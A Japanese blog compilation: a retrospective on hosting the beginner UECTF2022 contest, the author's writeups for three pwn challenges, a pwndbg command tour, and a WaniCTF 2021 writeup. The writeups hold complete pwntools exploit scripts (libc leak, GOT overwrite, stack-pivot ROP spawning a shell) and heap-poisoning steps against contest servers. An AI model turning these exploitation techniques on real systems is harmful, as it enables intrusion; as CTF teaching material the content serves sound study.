UECTF2022 開催記

これはUEC Advent Calendar 2022の3日目の記事です。
昨日はsuzukeさんの「Markdownでスライドを作って公開する」でした。

調布祭の期間中にUECTF2022という初心者向けCTFを開催しました。UECTFとしては初めてのCTFの開催でいろいろ大変だったので、知見や反省点などをまとめました。

UECTFについて

UECTFはUECのゆるCTF集団です。主にDiscordで活動していて、たまにCTFに参加しています。Student Hubにあるので電通大生なら誰でも入れます。

準備

調布祭でCTF開催しようという話は6月下旬にありましたが、本格的に動き出したのは10月下旬でした。この時点でほぼ準備が出来ておらず、本当に開催できるのかかなり怪しい状況でした。結局、フェーズシステムの導入や3日間の開催が決まったのは調布祭の前日でした。また、告知用のTwitterアカウントやDiscordサーバ、スコアサーバの準備などは2日前ぐらいから行われました。作問はほとんど出来ていましたが、レビューが間に合っていない状態でした。そのため、開催の告知は当日になってしまいました。

フェーズシステム

今回は段階的に問題を追加するフェーズシステムを導入しました。これを導入した理由は主に2つあります。1つは電通大生が参加しやすくするためです。調布祭の他のイベントに参加していても、取り組みやすいように配慮しました。もう1つは作問とレビューが間に合ってなかったからです。
問題の追加は賛否が分かれるところですが、今回はそれぞれのフェーズで出題する問題数やジャンルに偏りがないようにしたのはよかったかもしれません。ただ、運営側の仕事はかなり増えた気がします。問題の公開は手動で行っていたため朝8時に起きる必要がありました。また、PwnやWebの問題は公開の時間にDockerコンテナを立てる必要があり、1日目の深夜に自動化スクリプトを書くことになりました。

作問

作問では主にDiscordとGithubを使いました。Discordではジャンルごとにチャンネルを立てて案出しや議論を行いました。Githubでは問題ごとにブランチ切ってPR→レビュー→マージという流れで問題を管理していました。一部の問題は不備があったり完成していなかったりしたので、作問とレビューは2日目の深夜まで行われました。
私はPwn3問を作問しました。Writeupはこちら
最終的なsolve数をみると、Pwnは他のジャンルよりも少し難しかったかもしれません。ちょっと申し訳なかったのでWriteupを丁寧に書きました。CryptoとReversingとMiscも1問ずつ作っていましたが、微妙だったので没にしました。

guess

easyにしたのにあんまり解かれないな…と思っていたら、ローカルで成功するけどリモートでは動かいないという旨の問い合わせがいくつかありました。入力末尾の改行文字でうまくいってないみたいだったので、ヒントとともに注意を促しました。ヒントはいらなかったかもしれませんが、初心者向けCTFなので出しました。

rot13

ヒープ問を出すのは気が引けたので、ヒープアルゴリズムを知らなくても解ける問題になりました。初心者向けとしてはwin関数はあったほうがよかったかもしれない。

buffer_overflow_2

原案はもう少し簡単な問題でしたが、開催期間がいきなり3日になったのと解法が一部rot13と被ってしまったため、無理やり難しくしました。

開催中

私は主に質問対応と問題の公開を担当しました。

1日目

Pwnの問題でトラブルが発生しました。コンテナが起動しておらず、問題に接続できない状態でした。すぐには対応できなかったため2日目の朝の出題に変更しました。

2日目

問題公開の時間に自動で起動するはずだったコンテナが起動していませんでした。docker-compose.ymlがなくて失敗したようで、結局手動でdocker runしました。あとなぜかPwnのrot13が予定の10時間前に起動してました。また、UECTFのメンバーで集まって調布祭を見て回ったりしました。

3日目

小さなトラブルがいくつかありました。MiscのWHREAMIでは重要な部分が問題文から抜けていたため、正答するのが難しい状態でした。問題文を訂正するか迷いましたが、元の問題文で解けている人がいたためヒントとしてその抜けていた部分を公開しました。

結果

1点以上獲得した方は105名いました。また、全完された方は2名いました。

反省

他にもたくさんありますが…

圧倒的準備不足

実質作業期間は約3週間ぐらいで、明らかに準備不足でした。レビューが不十分な問題が多く、スコアサーバなども含めてほぼぶっつけ本番だったため、大きな障害が起きなかったのは奇跡だったように思えます。もっと余裕を持って入念に準備を行い、万全の状態で開催すべきでした。

告知

準備が遅れていたため、告知が開催当日になってしまいました。開催の1週間前ぐらいにスコアサーバを公開し、告知を行うべきでした。また、参加者のほとんどは外部の方で、電通大生にうまく伝わってなかったように思えます。もう少し電通大生にもアプローチすべきでした。

画像フラグ

これはアンケート等で多くの方からご指摘いただきました。確かに誤答の多くは画像フラグの問題でした。画像フラグの問題はなるべくシンプルなフラグにすべきでした。

終わりに

CTF開催に協力してくださった方、CTFに参加してくださった方に感謝申し上げます。あとWriteupとても嬉しいです。ありがとうございます。
次に開催するとしたら、もっとクオリティを上げたいですね。UECTF自体もまだまだ発展途上なので、積極的にCTFに参加して力をつけていきたいです。

UECTF2022 作問者Writeup

UECTF2022で出題した問題について解説します。少し丁寧に書きました。

guess (19 Solves)

ソースコード(一部)

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char buf[32];
    char pw[32];

    secret(pw);

    printf("Guess my password\n> ");
    scanf("%32s", buf);
    if(strncmp(pw, buf, sizeof(pw)) == 0) {
        puts("Correct!!!");
        win();
    } else {
        puts("Wrong.");
    }
    return 0;
}

パスワードを当てることでフラグが表示されますが、普通に当てるのはほぼ不可能です。
入力の部分に注目します。

    scanf("%32s", buf);

buf[32]に対して32文字読み込んでいます。32文字入力するとどうなるでしょうか。
strncmpブレークポイントを張って見てみます。

pwndbg> b *main+159
Breakpoint 1 at 0x13a9
pwndbg> r
Guess my password
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
...
 ► 0x5555555553a9 <main+159>    call   strncmp@plt                <strncmp@plt>
        s1: 0x7fffffffde90 ◂— 0x7361705f656b6100
        s2: 0x7fffffffde70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
        n: 0x20
...
pwndbg> x/s 0x7fffffffde90
0x7fffffffde90: ""
pwndbg> x/s 0x7fffffffde90+1
0x7fffffffde91: "ake_password"

第一引数であるpwの最初の1バイトが\0で上書きされてしまっていることがわかります。
scanfは入力の末尾に\0を書き込みます。bufに32文字入力することでbufの範囲外に\0を書き込んでしまいます。bufの下にはpwがあるためpwの最初の1バイトが\0に上書きされます。

pwndbg> x/6gx 0x7fffffffde70
0x7fffffffde70: 0x6161616161616161      0x6161616161616161 <- buf
0x7fffffffde80: 0x6161616161616161      0x6161616161616161 
0x7fffffffde90: 0x7361705f656b6100      0x00000064726f7773 <- pw

strncmp\0以降の比較は行わないため、以下のような入力でstrncmpは0を返しフラグが表示されます。32文字ちょうど入力する必要があるため改行文字を無効にしています。

$ echo -en '\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | nc uectf.uec.tokyo 9001

flag: UECTF{Wow_are_you_Esper?}

rot13 (6 Solves)

Partial RELROでPIE無効です。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

以下の部分が脆弱です。

    int index = get_num("index: ");
    if(index >= MAX_NUM || list[index] == NULL) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

すべての操作でindexを負にでき、listの範囲外にアクセスすることができます。

libc leak

この問題ではフラグを入手するためにライブラリの関数を使う必要があります。ライブラリの関数を使うためには、ライブラリがどこのアドレスにマッピングされているのか知る必要があります。ここではGOT(Global Offset Table)を用いてライブラリがマッピングされているアドレスを特定します。
GOTには以下のように1度呼び出された後にアドレスが書き込まれます。

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 11
 
[0x404018] free@GLIBC_2.2.5 -> 0x7ffff7e666d0 (free) ◂— endbr64 
[0x404020] puts@GLIBC_2.2.5 -> 0x7ffff7e50420 (puts) ◂— endbr64 
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401050 ◂— endbr64 
[0x404030] printf@GLIBC_2.2.5 -> 0x7ffff7e2dc90 (printf) ◂— endbr64 
[0x404038] strrchr@GLIBC_2.2.5 -> 0x401070 ◂— endbr64 
[0x404040] read@GLIBC_2.2.5 -> 0x401080 ◂— endbr64 
[0x404048] calloc@GLIBC_2.2.5 -> 0x7ffff7e67b10 (calloc) ◂— endbr64 
[0x404050] malloc@GLIBC_2.2.5 -> 0x7ffff7e660e0 (malloc) ◂— endbr64 
[0x404058] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e50ce0 (setvbuf) ◂— endbr64 
[0x404060] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e2f0b0 (__isoc99_scanf) ◂— endbr64 
[0x404068] exit@GLIBC_2.2.5 -> 0x4010d0 ◂— endbr64 

ライブラリ内の関数のオフセットは一定のため、このうちの1つでもアドレスがわかると他の関数のアドレスもわかります。
さて、どのようにアドレスを特定するかですが、前述の脆弱性を使います。listの範囲外を調べてみるとlist[-71]にアドレスがあることがわかります。これはlist[-6]のアドレスです。したがって、index=-71としてeditで書き込みを行うとlist[-6]に書き込まれます。

pwndbg> r
name: a
Hello a!
1. create
2. run
3. show
4. edit
5. exit
> 4
index: -71
data: aaaaaaaa
> ^C
...
pwndbg> set $list=(char **)0x4052d0
pwndbg> p $list[-6]
$1 = 0x6161616161616161 <error: Cannot access memory at address 0x6161616161616161>

index=-71としてeditでGOTのアドレスを書き込み、index=-6としてshowするとライブラリのアドレスが判明します。pwntoolsを使って書くと以下のようになります。

from pwn import *

e = ELF('./chall')
libc = ELF('./libc-2.31.so')

...

edit(-71, p64(e.got['puts']))
show(-6)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.symbols['puts']
print(hex(libc.address))

GOT Overwrite

ライブラリのアドレスを特定できたところでどのようにフラグを入手するかですが、system("/bin/sh")でシェルを起動するのが手っ取り早いです。シェルを起動するためにGOT Overwriteという手法を使います。
このプログラムはPartial RELROで、GOTに書き込むことができます。GOTを書き換えることでプログラム内でその関数を呼んだ際に別の処理を実行させることができます。これと前述の脆弱性を使うことでsystem("/bin/sh")を実行できます。
先ほどlibc leakの際にlist[-6]にGOTのアドレスを書き込みました。この状態でindex=-6としてeditすることでGOTに任意の値を書き込むことができます。どの関数のGOTを書き換えるのがよいでしょうか。
showに注目します。

void show() {
    int index = get_num("index: ");
    if(index >= MAX_NUM) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }
    puts(list[index]);
}

putsのGOTをsystemに書き換えて、createで"/bin/sh"を作りshowすることでsystem("/bin/sh")を実行できます。
最終的なsolverは以下のようになります。(こんな感じでtcache_perthread_struct構造体のポインタを使うことを想定していたのですが、nameとcreateのmallocのサイズを同じにしてしまったため、ほとんどの人がnameの領域を再利用して解いてましたね…)

from pwn import *

sendlineafter = lambda p, x, y: p.sendlineafter(x, y)
sendafter = lambda p, x, y: p.sendafter(x, y)
sendline = lambda p, x: p.sendline(x)
send = lambda p, x: p.send(x)

e = ELF('./chall')
libc = ELF('./libc-2.31.so')

p = remote('uectf.uec.tokyo', 9003)

def create(i, data):
    sendlineafter(p, b'> ', b'1')
    sendlineafter(p, b': ', str(i).encode())
    sendlineafter(p, b': ', data)

def show(i):
    sendlineafter(p, b'> ', b'3')
    sendlineafter(p, b': ', str(i).encode())

def edit(i, data):
    sendlineafter(p, b'> ', b'4')
    sendlineafter(p, b': ', str(i).encode())
    sendlineafter(p, b': ', data)

sendlineafter(p, b': ', b'A')

# libc leak
edit(-71, p64(e.got['puts']))
show(-6)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.symbols['puts']
print(hex(libc.address))

# GOT Overwrite
edit(-6, p64(libc.symbols['system']))
create(0, b'/bin/sh')
show(0)
p.interactive()

flag: UECTF{ROT13_stands_for_ROTate_by_13_places}

buffer_overflow_2 (6 Solves)

ソースコード

#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[0x60];
    printf("> ");
    read(STDIN_FILENO, buf, 0x80);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    vuln();
    puts("Bye!");
    return 0;
}

バッファオーバーフローがあります。
フラグを入手するために今回もrot13と同様にシェルの起動を目指します。

ROP (Return Oriented Programming)

バッファオーバーフローがある際はROPという手法が有効です。これはret命令を利用して任意の処理を連続して実行させる手法です。
ROPでsystem("/bin/sh")でシェル起動といきたいところですが、このプログラムはstatically linkedです。

$ file ./chall 
./chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=c2b6d36ed7073f9a99218aa4d5b221ca167701e0, for GNU/Linux 3.2.0, not stripped

このような場合はsyscall命令を利用してexecve("/bin/sh", NULL, NULL)を実行するのがいいです。これを実行するにはRAX, RDI, RSI, RDXの4つのレジスタを設定する必要があります。しかし、今回のバッファオーバーフローは0x20バイトで、リターンアドレスから考えると0x18バイトしか猶予がなく、普通には実行できません。

Stack Pivot

ここではStack Pivotという手法を紹介します。
別の領域に書き込みを行い、そこでROPする方法を考えます。vuln関数の最後の方に注目します。

   0x0000000000401d93 <+46>:    call   0x450bf0 <read>
   0x0000000000401d98 <+51>:    nop
   0x0000000000401d99 <+52>:    leave  
   0x0000000000401d9a <+53>:    ret 

ret命令にブレークポイントを張ってレジスタの値を見てみます。

pwndbg> b *vuln+53
Breakpoint 1 at 0x401d9a
pwndbg> r
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
...
 RDX  0x80
 RDI  0x0
 RSI  0x7fffffffddc0
...
*RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x7fffffffde28 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
...

0x20バイトのバッファオーバーフローによって、RSIに書き込み可能領域を設定し、readを呼び出しているvuln+46に戻ることで、指定した領域に0x80バイトの書き込みを行うことができます。また、vuln+52にあるleave命令によって書き換えたsaved rbpの値+8がRSPの値となります。このようにRSPに任意の値を設定し、スタックを切り替える手法をStack Pivotといいます。
バッファオーバーフローによってsaved rbpを指定した領域のアドレスに書き換え、readでROP chainをその領域に書き込むことでROPを実行できます。
solverは以下のようになります。

from pwn import *

p = remote('uectf.uec.tokyo', 9002)
# p = process('./chall')
e = ELF('./chall')

pop_rdi = 0x4018c2
pop_rdx = 0x4017cf
pop_rax = 0x4516a7
pop_rsi = 0x40f20e
syscall = 0x4012d3
writable = e.bss() + 0x100

payload = b'A' * 0x60
payload += p64(writable)    # saved rbp
payload += p64(pop_rsi)     # return address
payload += p64(writable)    # RSI = writable
payload += p64(e.symbols['vuln']+46)
p.sendafter(b'> ', payload)

payload = b'/bin/sh\0'
# execve("/bin/sh", NULL, NULL)
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(writable)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
p.sendline(payload)
p.interactive()

flag: UECTF{B3l13v3_0ur_Fu7ur3}

pwndbgを使ってみた

これはUEC Advent Calendar 2021の15日目の記事です。

adventar.org

前日はにゃんさんの記事でした。

thkr64.site

はじめに

GDBプラグインといえばpedapwndbggefあたりが有名です。私は普段peda+Pwngdbを使っていますが、最近のつよつよpwnerがよくpwndbgを使ってる気がしたので試してみることにしました。

環境

推奨環境ではないですが、glibc 2.33を使いたかったのでUbuntu21.04にしました。

$ cat /etc/issue
Ubuntu 21.04 \n \l

$ gcc --version
gcc (Ubuntu 10.3.0-1ubuntu1) 10.3.0
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ gdb --version
GNU gdb (Ubuntu 10.1-2ubuntu2) 10.1.90.20210411-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ /lib/x86_64-linux-gnu/libc.so.6 
GNU C Library (Ubuntu GLIBC 2.33-0ubuntu5) release release version 2.33.
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 10.2.1 20210320.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

インストール

$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg
$ ./setup.sh

サンプルプログラム

#include <stdlib.h>

int main(){
    char *p[0x200];
    int i = 0;

    for(int s=0x98; s>=0x18; s-=0x10){
        for(int j=0; j<14; j++)
            p[i++] = malloc(s);
    }

    while(i > 0)
        free(p[--i]);

    return 0;
}

コンパイルしてGDB起動

$ gcc sample.c 
$ gdb -q ./a.out

コマンド

よく使いそうなコマンドを挙げていきます。

help

使い方が表示されます。

pwndbg> help

コマンド名を与えるとそのコマンドのドキュメントが表示されます。

pwndbg> help heap
Iteratively print chunks on a heap, default to the current thread's active heap.
pwndbg> help bins
Print the contents of all an arena's bins and a thread's tcache, default to the current thread's arena and tcache.
pwndbg> help tele
Recursively dereferences pointers starting at the specified address
    ($sp by default)

apropos

与えられた単語に関連するコマンドを検索します。

pwndbg> apropos heap
heap -- Iteratively print chunks on a heap, default to the current thread's active heap.
set heap-dereference-limit -- Set number of bins to dereference
set memory-heap-color -- Set color for heap memory
show heap-dereference-limit -- number of bins to dereference:
show memory-heap-color -- color for heap memory:
vis_heap_chunks -- Visualize chunks on a heap, default to the current arena's active heap.

disas/disass/disassemble

ディスアセンブルを表示します。disaspwntoolsを入れたら使えなくなりました。

pwndbg> disass main

nearpc

ディスアセンブルを一部だけ表示します。

pwndbg> nearpc

tele/telescope

メモリをいい感じに表示してくれます。アドレスと表示する数を指定できます。

pwndbg> tele  


elfheader

セクションのアドレスが表示されます。下の例ではPIE有効なのでオフセットになってます。

pwndbg> elfheader 
0x318 - 0x334  .interp
0x338 - 0x368  .note.gnu.property
0x368 - 0x38c  .note.gnu.build-id
0x38c - 0x3ac  .note.ABI-tag
0x3b0 - 0x3d4  .gnu.hash
0x3d8 - 0x4b0  .dynsym
0x4b0 - 0x554  .dynstr
0x554 - 0x566  .gnu.version
0x568 - 0x598  .gnu.version_r
0x598 - 0x658  .rela.dyn
0x658 - 0x6a0  .rela.plt
0x1000 - 0x101b  .init
0x1020 - 0x1060  .plt
0x1060 - 0x1070  .plt.got
0x1070 - 0x10a0  .plt.sec
0x10a0 - 0x12e5  .text
0x12e8 - 0x12f5  .fini
0x2000 - 0x2004  .rodata
0x2004 - 0x2048  .eh_frame_hdr
0x2048 - 0x2158  .eh_frame
0x3da8 - 0x3db0  .init_array
0x3db0 - 0x3db8  .fini_array
0x3db8 - 0x3fa8  .dynamic
0x3fa8 - 0x4000  .got
0x4000 - 0x4010  .data
0x4010 - 0x4018  .bss

got

GOTが表示されます。pwntoolsが入ってないと使えないようです。

pwndbg> got

GOT protection: Full RELRO | GOT functions: 3

[0x55a3cb9f2fc0] free@GLIBC_2.2.5 -> 0x7fda9a390740 (free) ◂— endbr64 
[0x55a3cb9f2fc8] __stack_chk_fail@GLIBC_2.4 -> 0x7fda9a4213b0 (__stack_chk_fail) ◂— endbr64 
[0x55a3cb9f2fd0] malloc@GLIBC_2.2.5 -> 0x7fda9a390130 (malloc) ◂— endbr64 

vmmap

メモリマップが表示されます。

pwndbg> vmmap  

retaddr

リターンアドレスが表示されます。

pwndbg> retaddr 
0x7ffcc5200298 —▸ 0x7f392feca565 (__libc_start_main+213) ◂— mov    edi, eax
0x7ffcc5200368 —▸ 0x557757f110ce (_start+46) ◂— hlt   

heap

チャンクが表示されます。

pwndbg> heap  

arena

arenaの情報が表示されます。

pwndbg> arena
{
  mutex = 0,
  flags = 0,
  have_fastchunks = 1,
  fastbinsY = {0x557758fce010, 0x557758fcdd70, 0x557758fcd9f0, 0x557758fcd590, 0x557758fcd050, 0x557758fcca30, 0x557758fcc330, 0x0, 0x0, 0x0},
  top = 0x557758fce1d0,
  last_remainder = 0x0,
  bins = {0x557758fcb290, 0x557758fcbb50, 0x7f3930082c10 <main_arena+112>, 

  ...},
  binmap = {0, 0, 0, 0},
  next = 0x7f3930082ba0 <main_arena>,
  next_free = 0x0,
  attached_threads = 1,
  system_mem = 135168,
  max_system_mem = 135168
}

bins

binsが表示されます。

pwndbg> bins


特定のbinsだけ表示することもできます。

pwndbg> fastbins
fastbins
0x20: 0x561a1f410010 —▸ 0x561a1f410030 —▸ 0x561a1f410050 —▸ 0x561a1f410070 —▸ 0x561a1f410090 ◂— ...
0x30: 0x561a1f40fd70 —▸ 0x561a1f40fda0 —▸ 0x561a1f40fdd0 —▸ 0x561a1f40fe00 —▸ 0x561a1f40fe30 ◂— ...
0x40: 0x561a1f40f9f0 —▸ 0x561a1f40fa30 —▸ 0x561a1f40fa70 —▸ 0x561a1f40fab0 —▸ 0x561a1f40faf0 ◂— ...
0x50: 0x561a1f40f590 —▸ 0x561a1f40f5e0 —▸ 0x561a1f40f630 —▸ 0x561a1f40f680 —▸ 0x561a1f40f6d0 ◂— ...
0x60: 0x561a1f40f050 —▸ 0x561a1f40f0b0 —▸ 0x561a1f40f110 —▸ 0x561a1f40f170 —▸ 0x561a1f40f1d0 ◂— ...
0x70: 0x561a1f40ea30 —▸ 0x561a1f40eaa0 —▸ 0x561a1f40eb10 —▸ 0x561a1f40eb80 —▸ 0x561a1f40ebf0 ◂— ...
0x80: 0x561a1f40e330 —▸ 0x561a1f40e3b0 —▸ 0x561a1f40e430 —▸ 0x561a1f40e4b0 —▸ 0x561a1f40e530 ◂— ...
pwndbg> tcachebins
tcachebins
0x20 [  7]: 0x561a1f410100 —▸ 0x561a1f410120 —▸ 0x561a1f410140 —▸ 0x561a1f410160 —▸ 0x561a1f410180 —▸ 0x561a1f4101a0 —▸ 0x561a1f4101c0 ◂— 0x0
0x30 [  7]: 0x561a1f40fed0 —▸ 0x561a1f40ff00 —▸ 0x561a1f40ff30 —▸ 0x561a1f40ff60 —▸ 0x561a1f40ff90 —▸ 0x561a1f40ffc0 —▸ 0x561a1f40fff0 ◂— 0x0
0x40 [  7]: 0x561a1f40fbc0 —▸ 0x561a1f40fc00 —▸ 0x561a1f40fc40 —▸ 0x561a1f40fc80 —▸ 0x561a1f40fcc0 —▸ 0x561a1f40fd00 —▸ 0x561a1f40fd40 ◂— 0x0
0x50 [  7]: 0x561a1f40f7d0 —▸ 0x561a1f40f820 —▸ 0x561a1f40f870 —▸ 0x561a1f40f8c0 —▸ 0x561a1f40f910 —▸ 0x561a1f40f960 —▸ 0x561a1f40f9b0 ◂— 0x0
0x60 [  7]: 0x561a1f40f300 —▸ 0x561a1f40f360 —▸ 0x561a1f40f3c0 —▸ 0x561a1f40f420 —▸ 0x561a1f40f480 —▸ 0x561a1f40f4e0 —▸ 0x561a1f40f540 ◂— 0x0
0x70 [  7]: 0x561a1f40ed50 —▸ 0x561a1f40edc0 —▸ 0x561a1f40ee30 —▸ 0x561a1f40eea0 —▸ 0x561a1f40ef10 —▸ 0x561a1f40ef80 —▸ 0x561a1f40eff0 ◂— 0x0
0x80 [  7]: 0x561a1f40e6c0 —▸ 0x561a1f40e740 —▸ 0x561a1f40e7c0 —▸ 0x561a1f40e840 —▸ 0x561a1f40e8c0 —▸ 0x561a1f40e940 —▸ 0x561a1f40e9c0 ◂— 0x0
0x90 [  7]: 0x561a1f40df50 —▸ 0x561a1f40dfe0 —▸ 0x561a1f40e070 —▸ 0x561a1f40e100 —▸ 0x561a1f40e190 —▸ 0x561a1f40e220 —▸ 0x561a1f40e2b0 ◂— 0x0
0xa0 [  7]: 0x561a1f40d700 —▸ 0x561a1f40d7a0 —▸ 0x561a1f40d840 —▸ 0x561a1f40d8e0 —▸ 0x561a1f40d980 —▸ 0x561a1f40da20 —▸ 0x561a1f40dac0 ◂— 0x0
pwndbg> unsortedbin 
unsortedbin
all: 0x561a1f40d290 —▸ 0x561a1f40db50 —▸ 0x7fc6cc86cc00 (main_arena+96) ◂— 0x561a1f40d290
pwndbg> largebins 
largebins
empty
pwndbg> smallbins 
smallbins
empty

glibc 2.33にも対応しているようです。

malloc_chunk

チャンクの情報が表示されます。

pwndbg> malloc_chunk 0x557758fcbb50
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x557758fcbb50
Size: 0x3f1
fd: 0x7f3930082c00
bk: 0x557758fcb290

tcache

tcacheの情報が表示されます。

pwndbg> tcache
{
  counts = {7, 7, 7, 7, 7, 7, 7, 7, 7, 0 <repeats 55 times>},
  entries = {0x561a1f410100, 0x561a1f40fed0, 0x561a1f40fbc0, 0x561a1f40f7d0, 0x561a1f40f300, 0x561a1f40ed50, 0x561a1f40e6c0, 0x561a1f40df50, 0x561a1f40d700, 0x0 <repeats 55 times>}
}

top_chunk

topチャンクが表示されます。

pwndbg> top_chunk 
Top chunk
Addr: 0x557758fce1d0
Size: 0x1de31

try_free

freeしたときのチェックをしてくれます。

pwndbg> try_free 0x557758fce100
General checks
Tcache checks
Will do checks for tcache double-free (memory_tcache_double_free)
----------
Errors found!

vis_heap_chunks

チャンクをいい感じに表示してくれます。

pwndbg> vis_heap_chunks

おわりに

もうpedaは捨てました。

明日はExitさんです。

WaniCTF 2021 Writeup

wanictf.org

体調が優れずPwnしか取り組めませんでした😭

nc

$ nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}

flag: FLAG{the-1st-step-to-pwn-is-netcatting}

BOF

オーバーフローさせるとokが書き換えられてフラグが表示されます。

$ nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

flag: FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

got rewriter

printfのGOTをwinに書き換えました。

$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 0x601038
Your input address is 0x601038.
Please input rewrite value: 0x400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

flag: FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

rop-machine-returns

ROPでsystem("/bin/sh")を実行しました。

$ nc rop-machine-returns.pwn.wanictf.org 9004
welcome to rop-machine-returns!!!

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{please-learn-how-to-use-rop-machine}

flag: FLAG{please-learn-how-to-use-rop-machine}

baby_heap

まず、2回mallocして以下の状態にします。

[0] : Allocated Chunk
Chunk at>0x56336b0be2c0
Data : 
[1] : Allocated Chunk
Chunk at>0x56336b0be2e0
Data : 
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated

次に[0]、[1]の順番でfreeして以下の状態にします。

[0] : Free Chunk
Chunk at>0x56336b0be2c0
fd : 0x0
[1] : Free Chunk
Chunk at>0x56336b0be2e0
fd : 0x56336b0be2c0
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated

次に[1]のfdをリターンアドレスがあるアドレスに書き換えます。

[0] : Free Chunk
Chunk at>0x56336b0be2c0
fd : 0x0
[1] : Free Chunk
Chunk at>0x56336b0be2e0
fd : 0x7ffd4ccec1c8
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated

次に2回mallocしてリターンアドレスがある領域を確保します。

[0] : Free Chunk
Chunk at>0x56336b0be2c0
fd : 0x0
[1] : Allocated Chunk
Chunk at>0x56336b0be2e0
Data : 
[2] : Allocated Chunk
Chunk at>0x56336b0be2e0
Data : 
[3] : Allocated Chunk
Chunk at>0x7ffd4ccec1c8
Data : 
[4] : Not Allocated

次に[3]にwinのアドレスを書き込みます。

[0] : Free Chunk
Chunk at>0x56336b0be2c0
fd : 0x0
[1] : Allocated Chunk
Chunk at>0x56336b0be2e0
Data : 
[2] : Allocated Chunk
Chunk at>0x56336b0be2e0
Data : 
[3] : Allocated Chunk
Chunk at>0x7ffd4ccec1c8
Data : B�k3V
[4] : Not Allocated

最後にexitするとwinが実行されます。
flag: FLAG{This_is_Hint_for_the_diva}

rop-machine-final

  1. gets(buf)でbufに"./flag.txt"という文字列を書き込みます。
  2. open(buf, O_RDONLY)で./flag.txtを開きます。
  3. read(3, buf, 0x50)で./flag.txtの内容をbufに書き込みます。
  4. write(1, buf, 0x50)でbufの内容を出力します。
import pwn
import sys
import os 

def read_until(s):
    ret = b""
    while ret.find(s) == -1:
        ret += io.read(1)
    return ret


# [menu]
# 0x01. append hex value
# 0x02. append "pop rdi; ret" addr
# 0x03. append "pop rsi; ret" addr
# 0x04. append "pop rdx; ret" addr
# 0x05. append "gets" addr
# 0x06. append "open" addr
# 0x07. append "read" addr
# 0x08. append "write" addr
# 0x0a. show menu (this one)
# 0x0b. show rop_arena
# 0x00. execute rop


def cmd_append_hex(val):
    io.send(b"1\n")
    ret = read_until(b": ")
    s = b"%x\n" % (val)
    io.send(s)
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_pop_rdi():
    io.send(b"2\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_pop_rsi():
    io.send(b"3\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_pop_rdx():
    io.send(b"4\n")
    ret = read_until(b">")
